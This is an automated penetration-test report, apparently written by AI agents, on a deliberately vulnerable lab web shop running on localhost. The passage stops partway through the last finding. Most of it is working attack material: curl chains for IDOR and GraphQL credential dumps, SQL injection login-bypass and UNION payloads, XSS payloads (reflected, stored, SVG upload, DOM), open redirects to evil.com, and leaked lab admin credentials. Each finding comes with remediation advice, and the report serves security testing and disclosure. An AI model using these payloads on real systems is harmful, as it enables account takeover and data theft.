| Asset | NimbusCart Inc |
| URL / target | http://localhost:3000 |
| # | Vulnerability | Severity | Status | OWASP / CWE |
|---|---|---|---|---|
| 1 | BOLA/IDOR on GET /api/v2/users/:id — any authenticated customer reads any user's full record (plaintext password + apiKey), incl. admin | Critical | confirmed | A01:2021-Broken-Access-Control |
| 2 | Unauthenticated IDOR on POST /api/graphql user(id:N) — returns any user's cleartext password + apiKey with no session | Critical | confirmed | A01:2021-Broken-Access-Control |
| 3 | SQL Injection Authentication Bypass at POST /login (username field) | Critical | confirmed | A03:2021-Injection |
| 4 | BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey) | Critical | confirmed | A01:2021-Broken-Access-Control |
| 5 | UNION-based SQL injection at GET /shop/search?q= dumps users table | Critical | confirmed | A03:2021-Injection |
| 6 | Reflected XSS at GET /shop/search?q= (executes in browser) | High | confirmed | A03:2021-Injection |
| 7 | Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/ | High | confirmed | A04:2021-Insecure-Design |
| 8 | Stored XSS via product review `text`, rendered unescaped at GET /shop/product/:id to all viewers | High | confirmed | A03:2021-Injection |
| 9 | Stored XSS via SVG ticket attachment served as image/svg+xml at /uploads/ | High | confirmed | A03:2021-Injection |
| 10 | DOM-based XSS via ?name= URL parameter written to innerHTML on homepage | Medium | confirmed | A03:2021-Injection |
| 11 | On successful login POST /login 302-redirects to the attacker-controlled external host in `next`, with no… | Low | needs-review | A01:2021-Broken-Access-Control |
| 12 | GET /go 302-redirects to the attacker-controlled external host supplied in the `url` param, with no… | Low | needs-review | A01:2021-Broken-Access-Control |
| 13 | MaxPrice is SQL-injectable with a boolean oracle | Info | needs-review | A03:2021-Injection |
| 14 | The `comment` field of POST /support/feedback reaches a SQL time function: an injected SLEEP(n)/pg_sleep(n)… | Info | needs-review | A03:2021-Injection |
| 15 | Endpoint requires a token but returns not-found for all probed ids; no order objects present | Info | needs-review | A01:2021-Broken-Access-Control |
| 16 | Test accounts created during the engagement (DELETE after) | Info | needs-review | A04:2021-Insecure-Design |
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · conf 0.20 |
| Location | http://localhost:3000/api/v2/users/:id | ||
| Agent | idor | ||
http://localhost:3000/api/v2/users/:id — Path parameter `:id` in GET /api/v2/users/:id. Bearer JWT authenticates the CALLER but the handler never checks that :id == caller id (no object-level authorization).
Measured: a freshly-registered customer token retrieved the complete DB record of arbitrary users (id 1 admin, id 12, id 13) including cleartext password and live apiKey. Using the disclosed admin password I authenticated as admin (verified: 'My Account (admin)', balance $500000, role admin). This is full horizontal AND vertical account takeover of every account, plus API key theft. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Enforce object-level authorization: in the /api/v2/users/:id handler reject when :id != authenticated caller id (or require an explicit admin role for arbitrary ids). Separately, never serialize password/apiKey in API responses — return a whitelisted DTO (id, username, role). Stop storing passwords in cleartext (bcrypt/argon2).
curl -s http://localhost:3000/api/v2/users/1 # baseline: {"error":"missing bearer token"}curl -s -c /tmp/j -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Poc1pw'
TOK=$(curl -s -b /tmp/j http://localhost:3000/account/api-token | grep -Eo 'eyJ[A-Za-z0-9_.-]*') # your customer JWT (id 14)
curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1 # returns admin's full record incl plaintext password + apiKey
curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024' # 302 -> /account : logged in as admin
Authorization: Bearer <valid customer JWT>; GET /api/v2/users/1 (also /12, /13 — any id)
AGENT-RECORDED EVIDENCE
Baseline no token -> {"error":"missing bearer token"} (auth IS enforced). With customer B's token (JWT id=13): GET /api/v2/users/12 -> {"id":12,"username":"nrsplt_a_10061","password":"Passw0rd_A_10061","apiKey":"nk_live_652c1651e4501044",...}. GET /api/v2/users/1 -> {"id":1,"username":"admin","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"}. Response carries _flag BURPAT{api_excessive_data_users_17874d4a}. Reproduced x2 identical. CHAIN: logging in with the leaked admin password (admin / SuperSecretAdmin!2024) returned 302 -> /account rendering 'My Account (admin)', Balance $500000.00, role admin = full admin account takeover.| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.20 |
| Location | http://localhost:3000/api/graphql | ||
| Agent | idor | ||
http://localhost:3000/api/graphql — GraphQL Query field `user(id: Int)` — argument `id`. Resolver has NO authentication or object-level authorization and exposes password/apiKey fields.
Measured: with zero authentication an attacker enumerates every user id and receives cleartext password + live apiKey. id=1 yields admin/SuperSecretAdmin!2024, which authenticates a full admin session (verified). Complete unauthenticated database credential dump and account takeover. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Require authentication on /api/graphql; add object-level authorization in the user resolver (caller may only read their own id unless admin); remove password/apiKey from the GraphQL schema entirely; disable introspection in production.
curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:1){ id username email role apiKey password } }"}' # admin creds, no authcurl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:12){ id username password apiKey } }"}' # different user, different data# confirm chain: log in with the returned admin password
curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'
POST /api/graphql {"query":"{ user(id:1){ id username email role apiKey password } }"}AGENT-RECORDED EVIDENCE
No cookie, no token: POST /api/graphql {"query":"{ user(id:1){...} }"} -> {"data":{"user":{"id":1,"username":"admin","email":"admin@nimbuscart.test","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","password":"SuperSecretAdmin!2024"}},"_flag":"BURPAT{api_graphql_authz_bypass_e7c3fc41}"}. Same query id:12 -> user A record, id:13 -> user B record — arbitrary id, distinct per-user data, all unauthenticated.| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 1/2 · conf 0.20 |
| Location | POST http://localhost:3000/login | ||
| Agent | login_sqli_bypass | ||
POST http://localhost:3000/login — POST /login, form-urlencoded body field `username`. Payload `admin'--` in username; password can be any value.
Complete authentication bypass with no valid credentials. The session issued lands as the admin user: GET /account returned the admin dashboard (admin role badge, Balance $500000.00, admin-only links Transfer funds / Change email / Get API token / Order webhook). Measured: full unauthorized admin session obtained from a single unauthenticated POST. Payload `admin'--` targets a named account; a generic tautology (`zzz' OR 1=1-- -`) also succeeded, so any/first row is selectable. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Use a parameterised/prepared query (or ORM binding) for the credential lookup so `username` is never concatenated into SQL. Look up the user row by bound username, then verify the password hash server-side with a constant-time comparison; never let input terminate or comment out the SQL. Return a generic 'Invalid credentials' regardless of which field is wrong, and add auth rate-limiting/lockout (server currently states 'no lockout enforced').
curl -s -o /dev/null -w 'status=%{http_code} loc=%{redirect_url}\n' -A NeuroSploit/4.0.0 -X POST http://localhost:3000/login --data-urlencode "username=nobody_zzz" --data-urlencode "password=wrongpass" --data-urlencode "next=" # baseline -> 302 /login?err=Invalid credentialscurl -s -o /dev/null -w 'status=%{http_code} loc=%{redirect_url}\n' -A NeuroSploit/4.0.0 -c /tmp/cj.txt -X POST http://localhost:3000/login --data-urlencode "username=admin'--" --data-urlencode "password=x" --data-urlencode "next=" # attack -> 302 /accountcurl -s -A NeuroSploit/4.0.0 -b /tmp/cj.txt http://localhost:3000/account | grep -E 'admin|Flag|Balance' # authenticated admin content returned
username=admin'--&password=x&next=
AGENT-RECORDED EVIDENCE
BASELINE POST /login username=nobody_zzz&password=wrongpass -> HTTP 302, Location: /login?err=Invalid%20credentials%20(attempt%20%231%2C%20no%20lockout%20enforced). ATTACK POST /login username=admin'--&password=x -> HTTP 302, Location: /account, Set-Cookie: nimbus.sid=... . GET /account with that cookie -> HTTP 200 body: 'Logged in via SQL injection auth bypass! Flag: BURPAT{web_sqli_login_bypass_e1ad1d9f}', 'My Account (admin)', 'Balance: $500000.00'. CONTROL POST username=admin&password=x (no injection) -> 302 /login?err=Invalid credentials, proving the trailing --' comment neutralises the password check. Reproduced 3x via curl and once via a real Chromium browser (Playwright). PoC: pocs/sqli_login_bypass.sh. Screenshot: evidence/sqli-login-bypass-admin.png (browser-rendered admin account + flag).
The steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 0/2 · conf 0.20 |
| Location | GET http://localhost:3000/api/v2/users/{id} | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/api/v2/users/{id} — Path parameter `{id}` on GET /api/v2/users/:id. Authenticated with a customer Bearer JWT (issued at /account/api-token). No per-object owner check; response also serializes password/apiKey fields the UI never uses.
Measured: any authenticated customer reads every user's full record — username, email, plaintext password, live apiKey, balance, role — by incrementing the numeric id. I retrieved admin (id 1), alice (2), bob (3). Chained the leaked admin password into a successful admin login and reached /admin (all-users listing) = full administrative account takeover. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Enforce server-side object-level authorization: reject requests where {id} != authenticated subject unless the caller holds an admin role. Remove password/apiKey from the API serializer (never return credential fields to any client). Store passwords hashed (bcrypt/argon2), not plaintext.
curl -s -c j.txt -d 'username=t1' -d 'email=t1@example.test' -d 'password=Pw!123456' http://localhost:3000/register
curl -s -b j.txt http://localhost:3000/account/api-token # copy the eyJ... JWT (your uid in payload)
curl -s -H 'Authorization: Bearer <JWT>' http://localhost:3000/api/v2/users/1 # returns admin record incl. password+apiKey
curl -si -d 'username=admin' -d 'password=SuperSecretAdmin!2024' http://localhost:3000/login # 302 /account (takeover)
curl -s -b <admin-cookie> http://localhost:3000/admin # full admin panel
Authorization: Bearer <customer JWT uid=8> → GET /api/v2/users/1
AGENT-RECORDED EVIDENCE
Baseline: my JWT payload = {"id":8,"role":"customer"}. Attack: GET /api/v2/users/1 with my customer token → HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9admin..."}. Repeated for id=2 (alice) and id=3 (bob) — deterministic, full records each time. CHAIN: used leaked admin password to POST /login → 302 /account as admin, then GET /admin → 200 rendered Admin Panel listing all 9 users. PoC: pocs/bola_users_api.sh (re-run confirmed with fresh uid=11 token reading admin).
The steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 0/1 · refute 1/2 · conf 0.20 |
| Location | GET http://localhost:3000/shop/search?q= | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/shop/search?q= — Query parameter `q` concatenated into a SQL SELECT (SQLite dialect). 5-column UNION aligns.
Unauthenticated full read of the users table including plaintext passwords (verified admin credential) — arbitrary DB read. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Use parameterised/prepared statements for the search query; never string-concatenate `q`. Apply least-privilege DB account.
curl -s "http://localhost:3000/shop/search?q=zzz'" # malformed → altered output
curl -s "http://localhost:3000/shop/search?q=zzz'%20UNION%20SELECT%20username,password,role,4,5%20FROM%20users--%20" # dumps admin credentials
q=zzz' UNION SELECT username,password,role,4,5 FROM users--
AGENT-RECORDED EVIDENCE HTTP 200 body rendered a results table containing admin / SuperSecretAdmin!2024 / admin and the app's own banner "UNION SQLi confirmed - sensitive columns dumped". Single-quote (q=zzz') alters/breaks the query deterministically. PoC: pocs/sqli_union_search.sh (unauthenticated).
The steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-79 | Confidence | 1/1 · refute 1/2 · conf 0.20 |
| Location | GET http://localhost:3000/shop/search?q= | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/shop/search?q= — Query parameter `q` reflected unescaped into the HTML: <p class="lead">Showing results for: {q}</p>.
Arbitrary JavaScript execution in a victim's session on localhost:3000 origin (confirmed via document.title mutation). Can steal app state / drive authenticated actions. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
HTML-encode `q` on output (context-aware escaping in the template); add a script-src CSP (current CSP only sets frame-ancestors).
curl -s "http://localhost:3000/shop/search?q=<b>MARK</b><script>alert(1)</script>" # reflected verbatim
Open in a browser: http://localhost:3000/shop/search?q=<img src=x onerror=document.title='XSSPWN_ns7xk9'> # title becomes XSSPWN_ns7xk9
q=<img src=x onerror=document.title='XSSPWN_ns7xk9'>
AGENT-RECORDED EVIDENCE Baseline: `GET /shop/search?q=xss1337test` -> 200, Content-Type text/html, body contains `<p class="lead">Showing results for: xss1337test</p>` (source comment literally reads `reflected without encoding`). Attack: `GET /shop/search?q=<img src=x onerror=alert(document.domain)>` -> 200, body contains raw `<p class="lead">Showing results for: <img src=x onerror=alert(document.domain)></p>` — `<`/`>` NOT entity-encoded, injected as live DOM. Browser proof: Playwright/Chromium loaded the URL and the `onerror` handler fired a dialog with message `localhost-NS9X7K2XSS`, proving my injected JS executed (marker present, absent from any static reflection). CSP header is only `Content-Security-Policy: frame-ancestors 'self'` — no `script-src`/`default-src`, so inline event handlers are not blocked.

| Criticality | High | Status | confirmed |
| OWASP / CWE | A04:2021-Insecure-Design · CWE-434 | Confidence | 1/1 · refute 1/2 · conf 0.20 |
| Location | POST http://localhost:3000/support/ticket | ||
| Agent | file_upload | ||
POST http://localhost:3000/support/ticket — multipart/form-data field `attachment` on POST /support/ticket; file stored under original filename and served at GET /uploads/<filename> with attacker-controlled Content-Type
MEASURED: any file (SVG, HTML, .php, arbitrary extension) is accepted with no extension/content-type/content validation, stored under its original attacker-chosen filename, and served from /uploads/ with a matching Content-Type. Navigating to /uploads/x.svg executed attacker JS in the http://localhost:3000 origin (dialog confirmed in headless Chromium); an .html upload is served as text/html, giving full same-origin script execution against any user who opens the attachment link on a public ticket. Response CSP contains only frame-ancestors, so inline script is not blocked. NOT observed: server-side code execution — the .php payload was returned as raw source, so no RCE. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Server-side allowlist of permitted MIME types AND extensions (e.g. png/jpeg/gif/pdf) validated by magic bytes, not the client-supplied Content-Type; rename uploads to a random server-generated name and strip the original extension; serve /uploads/ with Content-Disposition: attachment and Content-Type: application/octet-stream (or a text/plain sandbox) plus a strict Content-Security-Policy (default-src 'none') so SVG/HTML cannot execute; ideally store files outside the web root and stream them through an authenticated handler.
printf '<?xml version="1.0"?>\n<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(1)</script><text x=10 y=20>nrsplt_svg_9k2</text></svg>' > x.svg
curl -s -i -F 'subject=poc' -F 'body=poc' -F 'attachment=@x.svg;type=image/svg+xml' http://localhost:3000/support/ticket # -> 302 Location: /support
curl -s http://localhost:3000/support | grep uploads # -> href="/uploads/x.svg"
curl -s -i http://localhost:3000/uploads/x.svg # -> 200, Content-Type: image/svg+xml, script intact, no script-src CSP
Open http://localhost:3000/uploads/x.svg in a browser -> alert() fires (JS executes in localhost:3000 origin)
attachment=@x.svg (Content-Type image/svg+xml) containing <svg onload="alert('nrsplt_svg_9k2')"><script>alert('nrsplt_svg_9k2')</script></svg>; also h.html served as text/htmlAGENT-RECORDED EVIDENCE Upload: POST /support/ticket (subject+body+attachment) -> HTTP 302 Location: /support. /support then lists: <a href="/uploads/x.svg">attachment</a>. GET /uploads/x.svg -> HTTP 200, Content-Type: image/svg+xml, body = SVG with script verbatim. Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src). Headless Chromium navigation to /uploads/x.svg => DIALOG_FIRED: "nrsplt_svg_9k2" (inline SVG script executed in localhost:3000 origin). HTML variant: GET /uploads/h.html -> 200 Content-Type: text/html; charset=UTF-8 (arbitrary same-origin HTML/JS). PHP variant: GET /uploads/s.php -> 200 Content-Type: application/x-httpd-php but body returned as RAW source (<?php echo "nrsplt_php";?>) — NOT executed (Node static serve, no PHP engine) => no RCE.

| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-79 | Confidence | 1/1 · refute 1/2 · conf 0.20 |
| Location | POST http://localhost:3000/shop/product/1/review (display: GET http://localhost:3000/shop/product/1) | ||
| Agent | xss_stored | ||
POST http://localhost:3000/shop/product/1/review (display: GET http://localhost:3000/shop/product/1) — POST /shop/product/:id/review, form field `text`. Stored and echoed verbatim inside <div class="card"><div>…HERE…</div></div> on GET /shop/product/:id. Requires an authenticated session to POST; display page is PUBLIC (renders to anonymous visitors).
Measured: an authenticated user's review body is stored and returned unescaped, and the injected <script>/<img onerror> execute in a real browser in the localhost origin for every visitor of the product page, including unauthenticated ones. Script runs same-origin as NimbusCart, so it can read/exfil the victim's session-scoped state and act as the victim (session cookie nimbus.sid is HttpOnly, so document.cookie theft is blocked, but same-origin requests as the victim — e.g. driving authenticated /account actions — are not). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited)
HTML-entity-encode review text on output in the product template (the templating engine's auto-escaping is being bypassed here — render as text, not raw HTML). Add a real Content-Security-Policy with `script-src 'self'` (no inline) as defense-in-depth; the current CSP only sets frame-ancestors.
curl -s -c /tmp/j.jar --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt_t_pw!' http://localhost:3000/register -o /dev/null # register + auto-login
curl -s -b /tmp/j.jar --data-urlencode "text=<script>document.title='nsxss7331'</script><img src=x onerror=alert('nsxss7331')>" http://localhost:3000/shop/product/1/review -o /dev/null # store payloadcurl -s http://localhost:3000/shop/product/1 | grep nsxss7331 # baseline: no session needed to VIEW; payload appears raw, un-encoded
Open http://localhost:3000/shop/product/1 in a browser -> alert('nsxss7331') fires / document.title becomes nsxss7331<script>document.title='nsxss7331'</script><img src=x onerror=window.__nsxss=document.domain>
AGENT-RECORDED EVIDENCE Submit 302 to /shop/product/1. GET /shop/product/1 (with AND without session cookie) returns body: <div class="card"><b>nrsplt_15633</b><div><img src=x onerror=window.__nsxss=document.domain;document.title='nsxss7331'><script>window.__nsxss2='nsxss7331'</script></div></div> — payload NOT HTML-encoded. Headless Chromium load of the page: document.title='nsxss7331' (img onerror ran), window.__nsxss='localhost' (=document.domain), window.__nsxss2='nsxss7331' (inline <script> ran). Response CSP: `frame-ancestors 'self'` only — no script-src. PoC: pocs/stored_xss_product_review.sh (passes). Screenshot: /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/evidence/stored-xss-product-review.png

The steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-79 | Confidence | 1/1 · refute 1/2 · conf 0.20 |
| Location | POST http://localhost:3000/support/ticket (display: GET http://localhost:3000/uploads/<name>.svg) | ||
| Agent | xss_stored | ||
POST http://localhost:3000/support/ticket (display: GET http://localhost:3000/uploads/<name>.svg) — POST /support/ticket, multipart field `attachment` — an uploaded .svg is stored and served from /uploads/<filename>.svg with Content-Type: image/svg+xml. The public tickets list on GET /support links directly to each /uploads/ file.
Measured: an uploaded SVG is served inline as image/svg+xml on the same origin and its onload JavaScript executes when the file URL is opened in a browser. The upload links are surfaced publicly on GET /support ('Recent public tickets'), so any user/staff clicking a ticket attachment runs attacker JS in the NimbusCart origin. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Serve user uploads with Content-Type: application/octet-stream (or a strict allowlist that excludes image/svg+xml) and Content-Disposition: attachment; ideally host uploads on a separate sandbox origin. Reject/normalise SVG uploads, or add CSP `script-src 'none'` on the /uploads/ path.
curl -s -c /tmp/j.jar --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt_t_pw!' http://localhost:3000/register -o /dev/null
printf '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><text>x</text></svg>' > /tmp/x.svg
curl -s -b /tmp/j.jar -F 'subject=poc' -F 'body=poc' -F 'attachment=@/tmp/x.svg;type=image/svg+xml;filename=nssvg9021.svg' http://localhost:3000/support/ticket -o /dev/null # store
curl -s -i http://localhost:3000/uploads/nssvg9021.svg | grep -i content-type # baseline: served as image/svg+xml, un-sanitised
Open http://localhost:3000/uploads/nssvg9021.svg in a browser -> alert(1) fires in localhost origin
<svg xmlns="http://www.w3.org/2000/svg" onload="document.title='nssvg9021';window.__nssvg='nssvg9021'"><text>nssvg9021</text></svg>
AGENT-RECORDED EVIDENCE Upload 302 to /support. GET /uploads/nssvg9021.svg -> 200, Content-Type: image/svg+xml, body is the SVG verbatim. Headless Chromium navigated to that URL: document.title='nssvg9021', window.__nssvg='nssvg9021' — the SVG onload executed in the localhost origin. CSP has no script-src/object-src. PoC: pocs/stored_xss_svg_upload.sh (passes). Screenshot: /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/evidence/stored-xss-svg-upload.png

The steps above are the proof; this script automates them.
| Criticality | Medium | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-79 | Confidence | 1/1 · receipt_missing · conf 0.20 |
| Location | http://localhost:3000/?name= | ||
| Agent | xss_dom | ||
http://localhost:3000/?name= — Client script GET /app.js, function renderGreeting(): SOURCE = new URLSearchParams(window.location.search).get("name"); SINK = document.getElementById("greeting").innerHTML = "Welcome back, " + name + "! ...". No encoding/sanitization between source and sink. Runs on GET / (homepage) which contains <div id="greeting">.
Measured: attacker-supplied markup in the ?name= query parameter is inserted into the DOM via innerHTML and executes JavaScript in the http://localhost:3000 origin (verified: injected onerror handler ran, set document.title and a window global). A crafted homepage link (the intended 'campaign link' use, e.g. /?name=Alice) executes arbitrary JS in the victim's session context — enabling theft of same-origin data, actions as the victim, and phishing. Note the session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but the JS can still call authenticated app/API endpoints as the victim. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Do not pass user input to innerHTML. Use el.textContent = "Welcome back, " + name + "! ..." so the value is rendered as text, or HTML-encode `name` before concatenation. If markup is genuinely required, sanitize with a library like DOMPurify against an allowlist. The homepage CSP (present) should also drop any inline-script allowances that enable event-handler execution.
curl -s http://localhost:3000/app.js | grep -n innerHTML # shows the sink: el.innerHTML = "Welcome back, " + name
curl -s http://localhost:3000/ | grep 'id="greeting"' # confirms the target element exists
Open in a browser: http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
Observe alert() firing with document.domain = localhost, proving same-origin script execution (marker variant sets document.title=NSXSS_9f4c2e).
Reproduce headless: bash pocs/dom_xss_name.sh -> RESULT {"marker":"NSXSS_9f4c2e","origin":"http://localhost:3000"}http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22window.__xss_marker%3D%27NSXSS_9f4c2e%27%3Bdocument.title%3D%27NSXSS_9f4c2e%27%22%3E
AGENT-RECORDED EVIDENCE
app.js line 18: `el.innerHTML = "Welcome back, " + name + "! Check out today's deals.";` fed by `params.get("name")` from window.location.search with no escaping. Browser (Playwright/Chromium) navigated to the payload URL; the injected <img onerror> handler executed in origin http://localhost:3000 — document.title and window.__xss_marker both became NSXSS_9f4c2e. Console log recorded `GET http://localhost:3000/x 404` (the failed <img src=x> that fires onerror). PoC: pocs/dom_xss_name.sh (RESULT {"marker":"NSXSS_9f4c2e","origin":"http://localhost:3000"}). Screenshot: evidence/dom-xss-name-innerhtml.png
The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-601 | Confidence | 1/1 · conf 0.60 |
| Location | http://localhost:3000/login | ||
| Agent | open_redirect | ||
http://localhost:3000/login — POST /login, body field `next` (honored only on SUCCESSFUL authentication)
Observed: - POST /login valid creds, no next -> HTTP 302, Location: /account [E01] - POST /login valid creds + next=//evil.com -> HTTP 302, Location: //evil.com [E02] - POST /login FAILED creds + next=//evil.com -> HTTP 302, Location: /login?err=... (next ignored when auth fails) [E03] Not demonstrated: Post-auth credential/session theft. Potential impact: Phishing immediately after authentication: a login link with next=//evil.com bounces the freshly-authenticated victim to an attacker page that impersonates the app.
Validate `next` server-side before redirecting: accept only relative same-site paths (reject values beginning with a scheme, `//`, or `\`), or map to an allowlist. Default to /account when validation fails.
curl -s -i -X POST http://localhost:3000/register -d 'username=nrsplt_3af23ef6&email=nrsplt_3af23ef6@example.test&password=Nrsplt_Pass_3af23ef6!' # 302 /account (create test user once)
curl -s -i -X POST http://localhost:3000/login -d 'username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!' # BASELINE -> Location: /account
curl -s -i -X POST http://localhost:3000/login -d 'username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!&next=//evil.com' # ATTACK
Read the Location header of the attack response: Location: //evil.com (external protocol-relative host)
username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!&next=//evil.com
AGENT-RECORDED EVIDENCE Baseline (valid creds, no next): HTTP/1.1 302 Found, Location: /account. Attack (valid creds + next=//evil.com): HTTP/1.1 302 Found, Location: //evil.com, body 'Found. Redirecting to //evil.com'. Failed logins ignore `next` (redirect to /login?err=...), so a valid session is required. PoC: pocs/open_redirect_login_next.sh
The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-601 | Confidence | 1/1 · conf 0.60 |
| Location | http://localhost:3000/go | ||
| Agent | open_redirect | ||
http://localhost:3000/go — GET /go, query parameter `url`
Observed: - GET /go?url=https://evil.com -> HTTP 302, Location: https://evil.com [E01] - GET /go?url=//evil.com -> HTTP 302, Location: //evil.com [E02] - repeat of E01 -> identical Location: https://evil.com [E03] Not demonstrated: Credential/token theft. Potential impact: Phishing and trust abuse: victims following a localhost:3000 link are silently sent to an attacker domain.
In the /go handler, do not pass user input straight to res.redirect. Resolve `url` against an allowlist of internal paths, or require a relative path (reject values starting with a scheme, `//`, or a backslash) before redirecting. Prefer mapping to server-side known destinations.
curl -s -i 'http://localhost:3000/go?url=https://evil.com'
Read the response status line: HTTP/1.1 302 Found
Read the Location header: Location: https://evil.com (external host, not localhost)
curl -s -i 'http://localhost:3000/go?url=//evil.com' # protocol-relative variant, Location: //evil.com
http://localhost:3000/go?url=https://evil.com (also //evil.com)
AGENT-RECORDED EVIDENCE Request: GET /go?url=https://evil.com HTTP/1.1 Response: HTTP/1.1 302 Found Location: https://evil.com Content-Length: 38 body: 'Found. Redirecting to https://evil.com'. Repeated: identical Location. Protocol-relative //evil.com also honored (Location: //evil.com). No session required. PoC: pocs/open_redirect_go.sh
The steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/shop/filter?maxPrice= | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/shop/filter?maxPrice= — Query parameter `maxPrice` concatenated into a numeric SQL predicate.
Observed: - TRUE vs FALSE payloads yield 1589 vs 1211 byte responses [E01] - single quote breaks query (1208) [E02] Not demonstrated: Blind data extraction possible. Potential impact: Full blind DB read via boolean inference.
Parameterise the maxPrice predicate and cast/validate it as a number server-side.
curl -s 'http://localhost:3000/shop/filter?maxPrice=100000' | wc -c # 1582
curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20OR%201=1' | wc -c # 1589
curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20AND%201=2' | wc -c # 1211
curl -s "http://localhost:3000/shop/filter?maxPrice=100000'" | wc -c # 1208 (broken)
maxPrice=100000 OR 1=1 (TRUE) vs maxPrice=100000 AND 1=2 (FALSE) vs maxPrice=100000'
AGENT-RECORDED EVIDENCE Deterministic response-length differential: baseline len=1582; `OR 1=1` len=1589 (all rows); `AND 1=2` len=1211 (no rows); trailing single-quote len=1208 (query breaks). Reproducible. PoC: pocs/sqli_blind_filter.sh (unauthenticated).
The steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 0/1 · refute 0/2 · conf 0.50 |
| Location | http://localhost:3000/support/feedback | ||
| Agent | sqli_time | ||
http://localhost:3000/support/feedback — POST /support/feedback, request body field `comment` (accepted as JSON {"comment":"..."} or form-encoded comment=...). Injection context: single-quote string, closed with `'` and commented with `-- -`.
